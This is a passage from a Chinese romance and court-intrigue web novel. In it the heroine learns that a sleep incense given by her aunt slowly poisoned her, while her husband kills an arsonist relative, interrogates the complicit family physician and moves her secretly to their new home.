正好府中家医进来朝他们行礼。 叶绾赶忙免了他礼节,“你快看看这香料,里面加了醉心花与水晶兰,可有不妥之处?” 家医答应着,取了一小只莲花形状的云涎香,碾碎在指尖。 鹿微眠与叶绾看着家医的反应。 他细看了一会儿,“这醉心花与水晶兰,都属于西陵的奇花,咱们中原少见,何况又列在禁药之中。这个小的其实并不想熟。” 家医躬身,“但小的听说少量醉心花可用于抑制疼痛,镇定安神之效,但只能短时间内用,若长时间大量吸食,恐怕会有中毒之兆。” “因我们很难把控用量,所以朝中不允许擅自用醉心花。” “另外这水晶兰在西陵书籍上记载,并无毒性……”家医踟蹰着,“但是不知这联合起来用会有什么效果,眼下小的暂且没看出来,得回去再找找医书。” “不过安全起见,还是不要用了的好。若是点燃之后,很快就能入睡,十有八九并非是安神功效,是毒性使然。” 简而言之就是被毒昏过去的。 叶绾叫他给鹿微眠诊脉。 鹿微眠觉得自己眼下没有用多少,问题不怎么多。 家医也只是说,“姑娘只是劳心伤神,有些气血郁结,调理调理就好。” 叶绾倒是没什么问题。 两人在房中面对面坐了许久,一片沉寂。 鹿微眠看着她,“母亲,舅母给你这样的东西,她是何居心啊。” 叶绾这会儿没有再维护白氏。 回忆着当初白氏把东西交给她时的境况,“那阵子你和太子的婚事刚刚被毁,你总是睡不好,她来看的时候,我便说了。” “她就给了我这么一个东西,跟我说能让你睡得好些。” 叶绾眉头紧锁,“可她何故要害你呢。” 鹿微眠想来有很多种可能。 对于当时来说,兴许是白氏希望坏了她的身子,让她再无成为太子妃的可能。 但现在太子都已经被废,说来没有意义。 叶绾有些难以接受,她回房休息。 鹿微眠怕叶绾情绪不好,便暂且留在家里过夜。 正巧第二日有人来送消息,说卫统领家的夫人生了。 鹿微眠连忙上街给孩子挑了个小金锁,赶去了卫府。 卫府里外都是明国公府的人,再就是一些关系亲近的朋友亲戚,前来贺喜。 明老夫人坐在高堂上看下人抱着孩子,乐得合不拢嘴。 鹿微眠简单问了个好,将带来的礼物交给下面人登记,就被请去了里屋。 里屋稍稍清静一些,只有明窈和她的贴身侍女在。 见鹿微眠进来,那侍女便也下去等候。 明窈见她来了,便道,“我听说了前两日西市的事情,你和外邦人起了争执?” 鹿微眠含糊过去,“无非是一些小事。” “还小事呢,玄香斋都拆了。”明窈仔细一想就知道那肯定不是小事,“这阵子卫沉没得空去上值,也就没能帮上忙。” “他们与我说,是因为玄香斋擅用禁药。说来从前我还挺喜欢去玄香斋的,觉得安全一些,没想到他们也是店大欺客。” 鹿微眠听来有趣,“你临盆倒是什么事情都没有落下。” “这阵子可无聊了,卫沉哪也不让我去,走到哪里他盯到哪里。” 她们正聊着,外面乳娘将孩子抱了回来。 明窈看她,“不是才抱出去见人,怎么又抱回来了?” “是太傅府来人了。”乳娘为难地解释道,“也不是我们不给他们瞧孩子,实在是那太傅夫人病重,老夫人说只怕他们家人沾着病气过来,让我们把孩子先带回来,问就说哭了要睡觉。” 明窈了然,“前阵子不是还说冲喜,那太傅夫人怎么病重了?” 乳娘将孩子放在旁边的摇篮里,“喜事过后倒是好些了,如今也不知是怎么了。” 明窈犹豫着,“人家好容易来了,不见是不是不妥。” “您就别操心了,这会儿姑爷在招待太傅家的公子呢,姑爷定是有数的。” 鹿微眠又陪明窈坐了一会儿,考虑着她还要休息,鹿微眠也没有多待。 她出门与众人支会一声离开,从院子里正看见卫沉与太傅家公子聊天。 两人的神色都有些凝重。 鹿微眠隐约听到了“揽星阁”三个字。 她不由得转头看过去,那两人察觉到她的视线,也都礼貌地颔首示意。 鹿微眠简单回礼,大抵是觉得再听有些不太合适,便离开了卫府。 卫沉继续道,“若实在是要紧,可以一试。” 卢青认真地问,“出卖灵魂真的不会被做什么……伤风败俗的事吗?” 卫沉思索良久,“至今为止,他让我做得最伤风败俗的事,就是给他斟了十二杯酒。” 傍晚时分,恰逢帝台城大开城门。 前来寻欢作乐的客人们纷纷涌入,有人质问着守卫,“那云烟堂怎么没了?我上次定的醉梦可还没拿呢。” 守卫只道,“那云烟堂堂主犯了点事,被连人带屋子夷为了平地。” 客人们如此一听,也不敢继续闹。 本身帝台城的生意就见不得光,做生意的都是刀尖舔血的人。 连屋子都没剩下,那想必惹得不是什么好说话的主。 自然还是多一事不如少一事。 客人只能自认倒霉,与友人说着,“这下好了,不能给你见识一下醉梦的厉害了。” 一旁路过的卢青竖着耳朵听了半天没听懂。 只是一路闷头去找揽星阁,最后停在了那座高大的八角楼前。 卢青犹豫着,八角楼大门忽然间被打开。 他吓了一跳,见此还是深吸了一口气鼓足勇气走上前。 楼内灯盏一圈一圈的亮起,指向楼宇深处。 卢青小心谨慎地往里走。 被灯火指引到了顶层阁楼,而后“砰”地一声屋门紧闭。 层层黑纱之外,有一道悠然地身影坐在高位之上,但很显然没空搭理他,只是在忙着手上的东西。 卢青深吸一口气,第一句话,“公子好。” 封行渊打磨宝石的动作一停,撩起眼皮,看向那个也才十五六的少年。 还挺有礼貌。 帝台城少见这般有礼貌的小孩。 “说吧,想要什么?” 卢青拱手行礼,“在下乃太傅卢氏之子卢青,家中排行老三,年方十六……” 封行渊摩挲着手中的宝石,难得耐着性子听他先把自己介绍了一遍,只是因为他感觉这个很懂礼貌讲规矩的小孩,有点像鹿微眠。 “太傅家的公子,诗书礼教学得多,还敢来我这?” “本是不敢的,但听闻公子虽有暴戾名声,但……性情良善。” 封行渊听到良善二字,话锋微扬,“这都被你发现了。” 他夫人也这么说。 凌一眼皮跳了一下。 他主子从前可是最爱直白地说自己坏。 关键还有人捧场,“对,在下遇到了些困难,想要请公子帮忙。” “知道我的条件吗?” “知道。” “那你不怕?” “我才疏学浅,父亲总骂我没什么本事,把灵魂交给公子,才不怕产生什么不可估量的后果。” 封行渊听笑了。 卢青却行大礼,“但我会斟酒,端茶倒水什么都会。我想要请公子,救我母亲一命。” 黑色薄纱轻轻晃动,封行渊隔着纱帐看着下面的人,“我记得,你母亲林氏并非生身母亲。” “不是生身母亲,胜似生身母亲。”卢青维持着叩拜的姿势,“我襁褓中得母亲照拂,幼时体弱,若没有母亲,我早已不在人世。” “母亲年仅三十,此番病重因在太傅府操劳,我如今只求母亲平安。” 封行渊沉思良久,“求他人所得,你什么都没得到,值得吗?” “人生而在世,非孤身一人。亲近之人所得,既我得。因此值得。” 封行渊一直觉得,得到是一件理所当然的事。 放弃也是得到吗。 他不太懂。 他只知道,他更擅长杀人,不擅长救人。 但送上门来的仆人,他当然也不会拒绝,“你是从卫沉那里听来的,我能救人?” “是,说您这里,什么愿望都可以达成。” “怎么还传出去了呢。”封行渊慢条斯理的呢喃着,他一直以为这揽星阁传出去应当是洪水猛兽、威震四方、望而生畏、避之不及。 怎么给传成祈福之地了呢。 封行渊轻敲桌案。 好像是从他夫人来过之后。 卢青小声试探道,“您可愿意?” 封行渊悠然道,“你愿意交付灵魂任我摆布,那我自然也愿意救下你母亲。” 谁让他这般良善。 卢青连连道谢,被凌一带下去。 卢青小声问凌一,“真的吗,我母亲的病可以治?阁主可会医术?” 凌一颇为骄傲,“放心吧,我们阁主什么病都能治。” 医术倒是未必,但他们主子是药人。 慕青辞那活了今天没明天的病都能治好。 这点小操劳病,去库房拿点从前炼好的药引就能治。 封行渊看着他们下去,手指缓慢地摩挲着那颗玫瑰石。 一旁窗柩被一股气流带得轻震一下,紧接着一道黑影从窗外晃过,出现在堂下。 毕恭毕敬道,“主子。” “回来了。” 凌双应声,“西陵那边已经部署下去,静候吩咐。” “倘若您的目标是京城,那可以让他们准备动身了,明年春夏就能埋伏好。” 即便是一模一样的兄弟俩,凌双看起来比凌一干练沉稳许多。 废话也少。 封行渊嗓音很淡,“不急。” 他给了个示意,墨宝不知从哪里钻了出来,嘴里咬着一个小盒子,翘着尾巴朝凌双走过去。 像是炫耀它的战利品一样。 封行渊吩咐,“这种云涎香,去查里面的东西和功效,还有聂婵她跟谁在来往。” 凌双接了过来,说话言简意赅,“好。” 话落直接离开。 封行渊盘算着鹿微眠这个时辰应当快回家了。 他收拾好东西离开帝台城。 回府之时,鹿微眠还没回来。 封行渊便先去了书房看书。 屋内灯光迤逦。 他神情专注,一页一页翻过书卷。 但看他这般纯粹认真的样子,很难想象他看的是一本教房事的书。 封行渊神情没有丝毫波动。 似乎单纯的图画,并不会刺激到他什么。 眼前的事情,就像是小动物吃饭喝水一样稀疏平常。 唯独。 他换了一本《房趣》,看到第一页讲述器具时,眸色有了些许变动。 也是在那一瞬间,封行渊察觉到,他和中原人传统的喜好,好像不太一样。 他需要的刺激、以及被满足的需求仿佛更大一些。 除了绑她,他好像还有点喜欢,这个图画上的小铃铛。 那铃铛起先的是挂在女子手腕、足踝上的。 再往后翻,讲述的铃铛就不太一样,它会自己颤动,让她产生快乐。 正好有下人前来禀报鹿微眠回来了。 封行渊收敛神色,简单回了一句,“好。” 他将书卷合拢,准备去找鹿微眠,问她会不会也喜欢这样的小铃铛。 他去打一些回来。 第45章 失明 封行渊走到隔壁卧房, 顺手推开了房门。 隔着屏风能看见内室人影走动。 鹿微眠寝裙刚刚穿到一半,听见有人进来,还以为是孙嬷嬷, 娇声娇气道,“嬷嬷,帮我拿一下小衣, 我要那个白桃莺羽的。” 封行渊转头便看到大开的橱柜里, 整整齐齐放着的小衣。 他走上前, 将那个白桃莺羽小衣拿出来。 小衣布料以绸缎为主,握在掌心一片细滑。 但是比她身上的触感还是差了点。 他想也没想, 绕过屏风, 递给她。 鹿微眠转身去拿,撞见封行渊, 吓得当场愣在原地。 她一时间甚至不知道该拿走小衣,还是该拉上没穿好的寝裙。 封行渊没觉得有什么,只觉得她这样很好看。 他维持着伸手的动作, 说出他的疑惑,“睡觉还穿吗?” “穿,穿的。”鹿微眠见他如此坦荡,也不好表现得太过于紧张, 快速接过他手上的东西,背过身。 锦缎小衣上还残留着男人手掌的温度, 熨帖得她掌心发烫。 鹿微眠听着他没有要走的意思,嗫嚅道, “你先出去……” 虽然他看过很多次了, 但是她还是不太好意思当着他的面换衣服。 封行渊觉得她这样有点可爱,但不得不转过身绕开屏风往外走。 在屏风外站定, 他缓慢地闻到些许血腥味。 封行渊记起来,他夫人又到了七日的流血养伤期了。 他想起来他过来的目的,“我看到一些很漂亮的小铃铛,用在身上的那种,夫人喜不喜欢?” 鹿微眠这会儿根本没心思听他说什么,只觉得大概是来了月事,胸口发胀,穿上被他握过的小衣穿上就感觉又胀又烫。 她系好绳带,心不在焉地重复他的话,“铃铛?” 最近封行渊出门时常爱给她带一些漂亮的饰品,她本能地以为也是那种发饰上的小铃铛。 “喜欢啊。” 封行渊得了她许可,便出门。 盘算着用什么东西打铃铛好。 书上说用铜器多,可他觉得铜器不太好看,也容易凉身,她那太脆弱了。 玉的会不会好些,触之生温,听说也养人。 封行渊想好第二天就去了自己的密室,在满室珠宝里选出来几块暖玉。 邻近年关,营造司的人加班加点,准备在年底收工,好拿工钱回家过年。 因此来往封府的频率也高了不少,与行刑后送来的封骏尸首在门口碰上。 罗氏看着隔壁院子里准备抬出去的箱子,脸色阴沉无比。 营造司的人尚且懂些礼节,等着他们过去再搬。 但罗氏一直没有离开,直勾勾地盯着他们,看得人浑身发毛。 营造司的人不由得加快了动作。 封贺拉罗氏回去,罗氏甩开他的手,指着他的鼻子,“你就这般窝囊!事到如今,就眼睁睁的看着他们逍遥?!” 封贺受够了,“你不窝囊,你又做什么了?!” 本来这阵子他们家丧事连篇,隔壁又热热闹闹地收拾院子就让人心烦,“成天嫌这嫌那,你有本事,不也照样什么都做不了!” 罗氏咬着牙根,“他们是不是打算推平咱们家院子,占了咱们家产,重新修封府。” “又不与他们来往,我哪知道。”即便是来往了,那边院子里也不告诉他们修缮院子的打算和进展。 他们所有知道的消息,都只是旁观看着隔壁热热闹闹地与营造司来往。 “营造司如今只在他们院子里活动,定是想要等咱们回了老家,就占了这边。”罗氏眼底浸满红血丝。 封贺许久没有说话,“这下子那个小兔崽子总满意了。” “就这样毁了咱们家,得到了咱们家几十年家业。” “便是走,我也不想让他们占尽便宜,过得安生!”罗氏安静了片刻,话语阴毒非常,“为什么不能一把火都烧干净呢。” * 入夜,偏院里依然很是热闹。 鹿微眠喝着睡前的牛乳,听暮雨嘀咕,“方才晚膳时,二房那边来人看了看。” 鹿微眠听来古怪,“二房那边还有人吗,不是说都遣出去了?” “是,下人基本都遣出去了,是二老爷亲自来看的。” “看什么?” “说是要走了,跟咱们这边打声招呼,我说院里忙着,就没让他进来。” 一旁帮鹿微眠整理衣柜的封行渊听见暮雨的话偏头看了过去。 鹿微眠点头,“别让他们来了,免得又生事端。” 她将用完的杯盏递过去。 封行渊也就此收回视线,专注于她的衣裙。 暮雨将杯盏拿回去离开房间顺便关上了门。 鹿微眠躺下,算着日子,“他们是不是明日就要走了?” “嗯。”封行渊清点了一遍鹿微眠的衣裙,还是觉得有点少。 鹿微眠翻了个身,给他让出位置,“难怪今晚要跑来看看。” “他们该不会还惦记着咱们什么吧。” 封行渊沉吟片刻,将她的衣物放进箱子里,“或许还惦记着。” 他说完没听见回应,起身走过去发现鹿微眠已经睡着了。 封行渊在床榻边站了一会儿,轻笑一声。 “睡这么快,”他俯身将她的被角掖好,“真不怕别人惦记你。” “把你偷走都不知道。” 兴许是说到了令人心动的念头。 封行渊黑瞳明光轻闪,他弯身,剐蹭着她的耳垂,“能把你偷走藏起来好了。” 他越说越心动,“以后只能见我一个人。” 封行渊弯身,将她连人带被子抱了起来,抱出了房间,塞进一辆昏暗的马车里。 做完这一切,封行渊转身看向空荡寂静的院子。 少年浓稠如墨的瞳孔深处噙着一抹笑意,朝着院子走去。 最近好事做多了。 手痒。 想干点坏事。 而此时,一个黑影鬼鬼祟祟地从后门摸进小院子里,封贺纳闷着怎么院子里连个守卫都没有。 不过这样也好,方便他下手。 封贺将后院小厨房里用来烧火的干枯草垛拿出来全部铺在了他们的院子里。 然后泼上一罐油,从兜里拿出来火折子,轻轻一吹。 火折子“滋”地一声细响,火光亮起。 封贺深吸了一口气,看了一眼这偏僻宅院,将火折子扔进了草垛里。 火苗顺着干枯草垛瞬间蔓延开,火势逐渐增大。 且说冬日干燥失火,等烧干净了也无从查证。 即便是他们要走,也绝不让封轸占到一丝一毫的便宜! 封贺得逞地冷笑一声,“我们家的东西,封轸你就是死也别想得到!” 他掉头正要走,眼前月色忽然被一道阴影遮盖住。 封行渊就站在他面前! 封贺瞪大眼睛,一时间脸色惨白,犹如见了恶鬼。 他刚要跑,突然利器刺穿胸膛的尖锐痛感麻痹了他的神经。 封贺浑身僵直,他瞳孔中映出的恶鬼却笑了。 “哦,”封行渊手里的短刀刺进了封贺的胸膛,语调愉悦轻快,“那你就给你们家的东西,陪葬吧。” 封贺捂住胸口,踉跄几步倒地。 封行渊也没有管这火势,任由它蔓延生长,渐渐吞没了整个院子和屋舍。 四周都是干枯的草木,冬季夜晚狂风凌冽,火势被风助长,顺着旁边的花园一路烧了过去。 二房院子里,罗氏焦灼地在屋子里等着,只看见窗户映出火光。 她凝眉,走上前开窗。 忽然一股强风将火苗吹进了屋里,径直点燃了窗边的木架,将屋舍吞噬。 偏院和二房院子里早就没了人,大房曾被二房排挤到了封府的最西侧,距离偏远根本没有察觉到这边起了火。 还是隔壁府苑的人察觉,连忙去敲门。 大房才迷迷糊糊从睡梦中爬起来,等他们发现时,火势颇大。 惹得封府里外一片兵荒马乱。 长安城偏僻的街巷内,几辆马车行驶在长街上。 马车足够宽大,里侧放了一张两人大的软塌,软塌边摆放着各式各样的箱子。 封行渊撑在软塌边,看着鹿微眠安静的睡颜,手指勾着她疑虑碎发。 少年清音在暗夜中略低,颇有几分得逞意味,“这都醒不了啊,那就不告诉你我做坏事了。” 鹿微眠第二天一醒过来,睁开眼睛望着头顶陌生的纱帐床幔呆愣了很久。 然后以为自己还在做梦。 于是鹿微眠又翻了个身,迷迷糊糊看到了暗红金粉流纱帐。 她闭上眼睛,倏然又睁开,从床榻上爬了起来。 这屋子…… 鹿微眠环顾四周,眼前卧房宽敞明亮,与封府那小屋子相去甚远。 甚至比她在家时卧房还大一些。 她这是在哪。 鹿微眠连忙掀开被子下床,正要叫人,听到了屋内的脚步声。 “夫人醒了?” 鹿微眠看着他从屋子里侧走出来,“这是哪里呀?” 封行渊悠然道,“我们家。” 鹿微眠眨了下眼睛,她立马下床偷偷打开窗户。 相比于屋内,她更熟悉屋外的布景,屋外果真是她差营造司修的大花园,图纸是她盯过的。 而屋内交给了封行渊。 这个宅院前两日营造司刚刚交付,她倒是没想到封行渊竟然把她连夜带过来了。 封行渊坐下,“昨夜院子里起火了,我们连夜逃过来的。” “院子里起火了?!”鹿微眠难以置信,“我怎么一点印象都没有。” “你睡得沉。”封行渊故作神伤地叹了口气,“可把我吓坏了。” “啊?”鹿微眠坐回床榻边,“怎么会这样啊。” “无非是二叔那边看我不顺眼罢了,习惯了。” 他这话说得很可怜。 鹿微眠拉过他的手,“你该叫醒我的。” “我帮衬着,咱们还能快一些。” 少年心下正高兴着,冷不丁听见鹿微眠点了一串人名,“暮云暮雨还有孙嬷嬷钧宜他们呢?” “哦,也都过来了。” 鹿微眠放下心来,“那就好。” 封行渊请了休沐,这阵子收拾新宅院。 这宅院有个偌大的好处就是距离司空府不过五分钟脚程,前后脚的距离,中间隔着一片园子。 这位置是鹿微眠当初自己选的。 因而她刚一搬过来,叶绾和鹿峥就跑过来看。 正午时分算是乔迁新院的第一顿开火饭,孙嬷嬷说不能凑活要好好吃,催着钧宜前去采买备菜。 鹿微眠与鹿峥闲聊的时候,才知道昨晚封府是出了大事。 “你没听说吗,”鹿峥压低了声音,“那封府烧得,整个院子都快烧空了。” 暮雨也跟着附和,“我听说是昨晚来咱们院里看的二爷,偷偷点了院子,结果自己被困里面烧死了,还有那二房夫人被烟熏得昏了过去,救出来也不成了。” 鹿微眠按了按心口,“啊?这么严重?” 这么严重她竟然一点都没有察觉? 暮雨想着就后怕,“我们闻到烟味就赶紧跑了,正巧咱们都把东西收拾好了,没想到烧得那么厉害。” “也就大房那边人都在还能救一救。” “可不是呗,”鹿峥嘴碎得不行,跟暮雨一唱一和,“我今早去看,院子什么都烧没了。” 叶绾进来就听到这般叽叽喳喳的声音,“好了,你来你阿姐这里就闹腾。今日搬迁,说点吉利话。” “阿姐这不是挺吉利的,这么大的祸事都没沾染上身。” 叶绾催他闭嘴。 用过午膳,鹿微眠带他们逛了一下院子,但冬日里四处都光秃秃的,也没太多好逛的东西,便送他们回了司空府。 鹿微眠与封行渊回来的路上,经过中间相隔的园子,远远地看见一道熟悉的身影从司空府的偏门鬼鬼祟祟地出来。 然后朝着东边的方向快步走了过去。 鹿微眠脚步停下,盯着那身影看了许久。 封行渊顺着她的视线看过去,“怎么了?” 鹿微眠解释,“那个人,很像是我们家的家医。” 而他去的那个方向……是侯府! 鹿微眠想起来,他们家这个新宅院得益于靠近司空府,所以相应地也靠近侯府,和舅舅一家离得不远,隔壁就是。 当初母亲出嫁时说叶霖尚未及冠,不想离得太远,司空府就修缮在了侯府旁边。 鹿微眠小声嘀咕,“他为什么会去舅舅家。” 封行渊看着那人消失的方向,“我差人在这里等等他,我们先回去。” 封行渊说完留下了凌一,送鹿微眠回府院。 侯府大院内,家医跪在叶心娴面前,“司空府那边,好像已经知道了香料有问题。” 叶心娴裁剪花叶插花装瓶,一时没想起来,“什么香料?” “就是半年前,送去给司空府千金安神的香料。” 叶心娴手中一个不小心将花瓣也剪了下来,索性整支都扔掉,“她怎么知道了?” 家医低头,“这小的也不知,总归现在是知道并且不再用了。” 叶心娴坐在原地,“她现在知道多少了?” “听着……”家医头更低了几分,“已经在怀疑咱们这边了。” “难怪呢。”叶心娴慢悠悠道,“今日搬迁这么大动静,要往常他们家早有人来请我们了。如今一点消息都没有,原来是知道了这件事。” “那鹿微眠用了多少?” “出嫁前用了一盒,出嫁后反倒没用了。” “一盒的后劲也够她受的,不过就是死不了。”叶心娴慢慢吐出一口气,“但她如今既然知道这个事情,还怀疑到了咱们头上,那最好还是让她闭嘴吧。” 叶心娴看他,“你可说出来过,这香的反应吗?” “郡主放心,小的只说西陵香料并不熟悉,其余的半个字也没有吐露。”家医腰身压得很低,“何况,这的确是西陵的方子,中原很少有人知晓,即便他们问,也很难问到。” 叶心娴点头,“很好。” “也就先让她活过这个年关吧。” 她不会给鹿微眠追查发落他们的机会。 作为日后的皇后,她不允许自己身上有任何污点。 她重新拿出来一只梅花,“你回去吧,盯着那边点,有异常随时告诉我。” “是。” 家医领了吩咐,退了出去。 他小心谨慎地走出了侯府,环顾四周见四下没人,便寻了一条偏僻小路准备回到司空府。 谁料,刚走过拐角。 身后腿弯被人用力一踹,家医一下子跪倒在地。 正要起身,肩膀被凌一死死扣住,按在地上。 “谁啊!知不知道我是……”家医正要破口大骂,抬头撞进封行渊幽沉黑瞳。 封行渊还有闲心跟他开玩笑,“你是谁啊?让我瞧瞧。” 他手里的匕首刀刃抬起男人下颚。 家医吓得舌头都打了* 结,“姑,姑姑爷,姑爷我是咱们家的家医,您,您这是……” “狗都是认门的,”封行渊蹲下身,手里的匕首游刃有余地滑过他的下颚,刮过他的喉骨,“所以你怎么不认门呢?” 男人连忙编了个借口,“不是,我这是,听闻侯府家主子病了,他们家缺人手,所以我……” 封行渊打断他,“一般乱咬的狗,我会先割了他的舌头。” 男人蓦的噤声。 封行渊见人乖了,这才发令,“说吧,去干什么了?” “是,是去给侯府郡主送信了。”家医低下头,不得不说实话,甚至不等封行渊继续问,他就把送信的内容也如实招来,“前阵子姑娘得知云涎香的事情,我去告知了郡主他们。” “是他们送给她的?” “算是。”男人声音发颤,“他们当初只是担心姑娘会对太子妃之位有威胁,才寻了这种香料。” “这香料表面上是用于安神,实际上有潜移默化的毒性,长时间用此香,不仅会越睡越久、越睡越沉,还……” 封行渊眸色渐沉,“还什么?” “还会失明,多眠、易乏累,体虚亏空,直到再也醒不过来。” 第46章 纱帐 园子里青松树影被狂风吹得沙沙作响。 封行渊定定地看着眼前男人, 许久都没有反应。 大抵是想到了鹿微眠的确一日睡得沉过一日。 凌一方才从惊愕之余回过神来,“那夫人现下用量如何?” “现下用量其实不算大,只有一盒, 但一盒的毒性也始终在体内存留,慢慢侵蚀身体,起码不会危机生命, ”家医解释着, “可能只是失明。” “只是失明……”封行渊重复了一遍他的措辞。 不爱听。 封行渊轻笑一声, 嗓音幽冷,浑身上下散开肃杀寒意。 他转身吩咐道, “那就挖了你的眼睛, 反正也只是失明,算作对你过错的恩赐。” 男人浑身上下一股恶寒, “姑爷!小的知错了姑爷!” 凌一得了命令,拿了一团布塞进了男人的嘴里,将人带走。 封行渊独自往回走。 回到院子, 看见鹿微眠正在询问着府中下人,“蝴蝶兰种在哪里了?” 下人指了花园水池边一处,“这边呢夫人。” 鹿微眠看了看四周,“这边好, 从屋子里就能看见。” 下人笑着,“现在种下了, 等过了冬,明年开春应当就能发芽了。” 鹿微眠与她闲聊着, 抬头看见封行渊回来, 走上前给他指蝴蝶兰的位置,“你回来啦, 你看,你喜欢的蝴蝶兰种在那里了。” 封行渊没有看她手指向的地方,而是看向了她的眼睛。 鹿微眠抬起头看向封行渊,“对了,你刚刚去那边,看见我们家家医了吗?” 封行渊状似平静地移开视线,“看见了。” 鹿微眠凑近细问,“怎么样啊,他去侯府做什么?” “他与侯府相勾结,”封行渊隐去了盘问出来的消息,“不过是打探你们家消息罢了,没什么要紧的,我就发落了他。” 鹿微眠皱眉,“他在我们家都待了十几年了,怎么看不出来另有二心。” “许是十几年前并无二心,境况变了人心就变了。” 鹿微眠想来也是,叶霖多半也不是一开始就想要踩着他们上去的。 只不过后来利益驱使,日渐贪婪,不进则退。 人心这种事谁能说得准。 鹿微眠没有怀疑封行渊说的话,事情交给他处理她无比放心。 她转头又忙着新院子布置年节。 鹿微眠很喜欢新宅院,这里除了离侯府近这一个缺点之外,其他的地方她都很是喜欢。 宅院里新贴了些下人来,且都是听命于他们自己的。 相比于在封府住在一个小小的偏院,不知好了多少。 宅院里只有一户主子,便和气很多。 年关准备很是热闹,连院子枯枝树木上都挂了红灯笼,看起来无比喜庆。 鹿微眠四下转了一圈,最终还是在她们的卧房内走不动路。 他们的卧房极大,里面除了休息的内室,还包含了几个小厅。 鹿微眠是没想到,封行渊拿了一整个厅堂来摆放她的朱钗饰品。 当然里面多半是他新买的。 也难怪她说放不下,他就要提修个新院子。 这里实在是像在她的卧房里装了个藏宝阁。 另一个屋子直接被做成了一个大的衣柜,用来放衣服。 只不过现在还有点空。 鹿微眠想,她其实也用不了这么大的房间专程放衣服。 墨宝看起来很喜欢那个藏宝阁,鹿微眠一整日没看见它,若非是发现一个白玉手钏自己来回跑,她也看不见它。 鹿微眠将它抱起来,看它很喜欢那串白玉,也就任由它挂在了脖子上。 这样日后方便找到它。 鹿微眠将墨宝抱去花厅。 屋内孙嬷嬷在编些喜庆的小玩意,暮云暮雨忙着剪春花。 只是封行渊不知在书房里忙什么。 鹿微眠把孙嬷嬷用毛线球编织成的小红灯笼递给蹲在旁边的墨宝,示意它去给封行渊。 顺便让它去炫耀一下它的新项链。 墨宝叼着就去了封行渊的书房门口,挠了挠门。 片刻后,封行渊听见动静从屋内出来,抱起墨宝拿过小灯笼轻笑一下,又进了书房。 鹿微眠透过窗口偷看了那边一眼,收回视线,忙着手上的事情。 暮云正疑惑地问暮雨,“你怎么剪了个喜字啊,不是该剪春吗?” “你这就不懂了吧,我给咱们姑娘姑爷剪的。”暮雨对着窗户比划了一下,“他们新婚贴喜的时候,还是分房睡的,年关是不是得补回来这个彩头。” 鹿微眠冷不丁被调侃到,耳根顿时比红纸还红,“你还是去绑福袋吧。” 暮雨笑着起身,“姑娘成婚这么久了,怎么还脸皮这么薄。” 暮雨凑到她面前,“福袋里面是不是要放花生红枣、桂圆……” 鹿微眠将软枕扔过去,暮雨接住又放到了她面前,“那我去绑福袋喽。” 鹿微眠不理她。 “这小妮子就是嘴上没个把门的。”暮云凑过来,看见鹿微眠好像是在画羽毛,顺便转移话题,“夫人这是画的什么?” “朱雀的尾羽。”鹿微眠弯唇,“好不好看?” 暮云点头,“好看。” 暮云问着,“夫人怎么想起来画朱雀的尾羽了?” 鹿微眠轻声道,“秘密。” 暮云心思细腻,听着鹿微眠的口风就知道。 这东西八成是给姑爷的,至于是什么,以后就知道了。 鹿微眠只是想着,他们的新房里,他给她准备了这么多东西。 她总要还一点什么。 鹿微眠看着手上的画纸,抿唇观赏着。 如果他能喜欢的话。 傍晚时分,封行渊才得空从书房里出来用晚膳。 鹿微眠能感觉到他明显心情很好。 当然,她搬了新家心情也好。 饭桌仍然是个大桌,鹿微眠叫暮云暮雨、凌一、钧宜和孙嬷嬷一并与他们用晚膳,庆祝乔迁之喜。 桌子上菜品十分丰盛,且按照两位主子的喜好都做得十分精巧,令人食指大动。 鹿微眠看花了眼。 孙嬷嬷将最后一道鹅粉签盛上来,鹿微眠就咬着筷子,想放弃碗里的酿莲肉。 封行渊漫不经心地将她那份酿莲肉拿过来。 鹿微眠顺理成章地换了一小份鹅粉签。 这一举动旁人看了倒没什么,唯独凌一再度瞪圆了眼睛。 他当真是觉得主子最近变得越来越奇怪了。 喜欢上了鹅黄,爱夸自己良善,现在还肯吃别人的东西。 他往日碰到别人的血都要洗三遍。 孙嬷嬷不知道,看凌一愣神,就催他,“吃啊。” “诶好。” 晚膳过后,忙了一整日的众人各自回房休息。 鹿微眠沐浴梳洗出来,换封行渊进去。 她坐在纱帐里,整理自己的寝裙。 暗红金粉纱帐落下来,鹿微眠低着头,轻轻戳了戳自己的胸口。 来月事好胀啊。 胀得有点疼。 也不知道是不是穿着小衣的缘故。 暮云正好将温好的小药壶送了进来,从外面叫她,“夫人。” 鹿微眠整理好衣服,顺着暖炉热气,闻到丝丝缕缕的甜香,她凑上前,“这是什么啊?” “是姑爷给你准备的补药。”暮雨将小药壶拿下来,放在旁边。 鹿微眠疑惑着,“什么补药?” 暮云打开药壶金属盖,将暗色红汤倒进旁边的白玉盏中,“调养气血的补药。” 鹿微眠一直都知道自己有这个毛病。 大概也是因此,所以月事里一直手脚冰凉,胸口胀痛。 难为着他给她准备了这个。 鹿微眠坐在旁边,“这补药怎么闻着是甜的。” “那还用说,肯定是姑爷怕你不吃苦药,好让你入口才用的甜方,里面还放了红糖。” 鹿微眠从她手中接过来,吹散上面的热气。 轻抿了一口。 甜中有一丝不易察觉的铁锈气息和茶药香。 鹿微眠眨了眨眼睛,又喝了一口,恍惚中觉得这味道有些熟悉。 她小声嘀咕着,“这是从哪里抓的药,我是不是在哪喝过。” 暮云可不知道封行渊从哪里弄来的药,“想必姑爷是费了一番心思的。” 鹿微眠将补药喝完放下给她。 暮云端着药碗出去,顺带着给他们关上门。 鹿微眠回到床榻上躺好,手边正好压了一本书。 她顺手拿了过来,刚翻开看了一眼就扣上了。 鹿微眠挣扎了一下,做了一遍思想准备后,又偷偷翻开。 不得不说,封行渊后来挑的书的确和之前的区别很大。 之前的大多是市面上常见的教习房事的书本。 因为中原人内敛含蓄,在这方面上很多话都隐晦无比,并且默认女孩子会快乐。 这一些好像是最近外邦商队送进来的书。 这本,里面的内容,是少见的如何服务女子。 鹿微眠发现自己月事期间不能多看,一看就气血上涌,胸口发胀。 正好封行渊从沐浴间出来。 鹿微眠听见动静,将书本放好塞进了枕头底下。 少年闻到了空气中的甜药香,神色愉悦轻松,大抵是因为她乖乖喝了药。 他走到床榻边,掀开纱帐。 鹿微眠刚藏好书本,发现他正在看她。 周围映衬着暗红金粉流纱帐散出来的朦胧光影。 她总觉得这个纱帐很奇怪,仅仅是外面点了一盏灯,映照着半透光的纱帐,就流光四溢,暖红光芒落在他们身上,会让人莫名浑身发烫。 她从前没有见过。 “你出来啦。”鹿微眠给他让位置,轻轻拍了下她身边的位置。 封行渊坐下,看着她身上的光影,“我们是不是该学习房事了。” 